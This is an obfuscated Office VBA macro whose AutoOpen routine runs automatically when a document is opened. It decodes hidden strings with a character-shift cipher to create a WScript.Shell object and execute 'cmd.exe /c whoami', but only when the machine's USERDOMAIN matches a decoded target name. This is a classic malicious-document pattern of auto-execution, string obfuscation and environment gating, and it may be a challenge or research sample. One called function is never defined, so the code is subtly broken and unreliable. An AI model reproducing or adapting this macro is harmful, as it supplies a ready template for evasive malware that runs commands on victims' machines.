95 lines
3.3 KiB
Plaintext
95 lines
3.3 KiB
Plaintext
Sub AutoOpen()
|
|
Dim XHKmhxHQcRTz As String
|
|
Dim THSEubLQvPSdELSuoGX As Object
|
|
Dim FJGotBFzvCOdl As Integer
|
|
Dim EeiAeMHMgPdtBzW As String
|
|
Dim GGfyeZZ As String
|
|
|
|
FJGotBFzvCOdl = 364
|
|
XHKmhxHQcRTz = "[wgvmtx2Wlipp"
|
|
GGfyeZZ = OguRQlS()
|
|
If (GGfyeZZ = "NVKVXMEGmpW") Then
|
|
Set THSEubLQvPSdELSuoGX = CreateObject(kbilYvbsscC(XHKmhxHQcRTz))
|
|
EeiAeMHMgPdtBzW = vmLhBnhohStHTGkJVFvtodv("bhEpnbsamPxDwVcWJzlublMQ")
|
|
EeiAeMHMgPdtBzW = VBiSUNVKeBGIhcPkb(THSEubLQvPSdELSuoGX, EeiAeMHMgPdtBzW, FJGotBFzvCOdl)
|
|
End If
|
|
End Sub
|
|
|
|
Function vmLhBnhohStHTGkJVFvtodv(ZROwKJd As String) As String
|
|
Dim oVMgsBnBXNOpBX As String
|
|
Dim OoSwSrwLrWhP As String
|
|
Dim MJDDNqez As String
|
|
MJDDNqez = "gqh2i|i$3g${lseqm"
|
|
|
|
oVMgsBnBXNOpBX = MJDDNqez
|
|
oVMgsBnBXNOpBX = kbilYvbsscC(oVMgsBnBXNOpBX)
|
|
vmLhBnhohStHTGkJVFvtodv = oVMgsBnBXNOpBX
|
|
End Function
|
|
|
|
Function VBiSUNVKeBGIhcPkb(GKzgZylVXGWz As Object, SrTboMsIUaGgfoswbnqxNbDZ As String, GMIuliLqzJCayCzKHCoq As Integer) As String
|
|
Dim fFOceCgNlEZwEpqr As String
|
|
Dim ENFykwKonc As Integer
|
|
ENFykwKonc = 4
|
|
fFOceCgNlEZwEpqr = SrTboMsIUaGgfoswbnqxNbDZ
|
|
If (GMIuliLqzJCayCzKHCoq > ENFykwKonc) Then
|
|
ENFykwKonc = GMIuliLqzJCayCzKHCoq - GMIuliLqzJCayCzKHCoq
|
|
GKzgZylVXGWz.Run fFOceCgNlEZwEpqr, ENFykwKonc, True
|
|
End If
|
|
fFOceCgNlEZwEpqr = "IjIurrYiWJxH"
|
|
VBiSUNVKeBGIhcPkb = fFOceCgNlEZwEpqr
|
|
End Function
|
|
|
|
|
|
Function kbilYvbsscC(dfjsgXiTXlcBLjeRryfvoqY As String) As String
|
|
Dim eqQwyyjmAEVAMy As Long
|
|
Dim CdMxcxbCahltDjPZG As String
|
|
Dim JBRbbDxDBbJIlOy As Integer
|
|
JBRbbDxDBbJIlOy = 4
|
|
For eqQwyyjmAEVAMy = 1 To Len(dfjsgXiTXlcBLjeRryfvoqY)
|
|
CdMxcxbCahltDjPZG = CdMxcxbCahltDjPZG & Chr(Asc(Mid(dfjsgXiTXlcBLjeRryfvoqY, eqQwyyjmAEVAMy, 1)) - JBRbbDxDBbJIlOy)
|
|
Next eqQwyyjmAEVAMy
|
|
kbilYvbsscC = CdMxcxbCahltDjPZG
|
|
End Function
|
|
|
|
Function OguRQlS() As String
|
|
Dim fHNbSbwUyNulLLVThkN As String
|
|
fHNbSbwUyNulLLVThkN = "bhEpnbsamPxDwVcWJzlublMQ"
|
|
fHNbSbwUyNulLLVThkN = qvAKTNfitsA(fHNbSbwUyNulLLVThkN)
|
|
fHNbSbwUyNulLLVThkN = VpxqjMIiANZg(fHNbSbwUyNulLLVThkN)
|
|
OguRQlS = fHNbSbwUyNulLLVThkN
|
|
End Function
|
|
|
|
Function VpxqjMIiANZg(fHNbSbwUyNulLLVThkN As String) As String
|
|
Dim eeyJYtLZQheDgmcj As String
|
|
Dim YxfUNvpKSEvuCWsQOQVDxf As String
|
|
Dim yjsEKLikmZcAMAjWmV As String
|
|
Dim GvMfkAxzfzgIhxFFInO As Integer
|
|
GvMfkAxzfzgIhxFFInO = 637
|
|
YxfUNvpKSEvuCWsQOQVDxf = "kbilYvbsscC"
|
|
yjsEKLikmZcAMAjWmV = "VMRK^IV4"
|
|
YxfUNvpKSEvuCWsQOQVDxf = MjOXrhwR(YxfUNvpKSEvuCWsQOQVDxf, yjsEKLikmZcAMAjWmV, GvMfkAxzfzgIhxFFInO)
|
|
eeyJYtLZQheDgmcj = YxfUNvpKSEvuCWsQOQVDxf
|
|
If (UCase(fHNbSbwUyNulLLVThkN) = eeyJYtLZQheDgmcj) Then
|
|
VpxqjMIiANZg = "NVKVXMEGmpW"
|
|
Else
|
|
VpxqjMIiANZg = "bHWfwRqCNh"
|
|
End If
|
|
End Function
|
|
|
|
Function qvAKTNfitsA(BMpIooCasKG As String) As String
|
|
Dim ufvKyCNiHHogKLXqt As String
|
|
Dim EqrXsnePmksKAhhYJzaBFIp As String
|
|
Dim nEdEMfbClbgkYZTDjXJbia As Integer
|
|
nEdEMfbClbgkYZTDjXJbia = 6104
|
|
EqrXsnePmksKAhhYJzaBFIp = "kbilYvbsscC"
|
|
EqrXsnePmksKAhhYJzaBFIp = btsMlRsLgrTbWEVydvEQpnAa(EqrXsnePmksKAhhYJzaBFIp, "YWIVHSQEMR", nEdEMfbClbgkYZTDjXJbia)
|
|
ufvKyCNiHHogKLXqt = Environ(EqrXsnePmksKAhhYJzaBFIp)
|
|
qvAKTNfitsA = ufvKyCNiHHogKLXqt
|
|
End Function
|
|
|
|
Function btsMlRsLgrTbWEVydvEQpnAa(pInSpXFfvHlmlwguszddsz As String, NCIYhLMxGmhRfSQD As String, NqYrqajngCuizeuhgQnf As Integer) As String
|
|
If (NqYrqajngCuizeuhgQnf > 1) Then
|
|
btsMlRsLgrTbWEVydvEQpnAa = Application.Run(pInSpXFfvHlmlwguszddsz, NCIYhLMxGmhRfSQD)
|
|
End If
|
|
End Function
|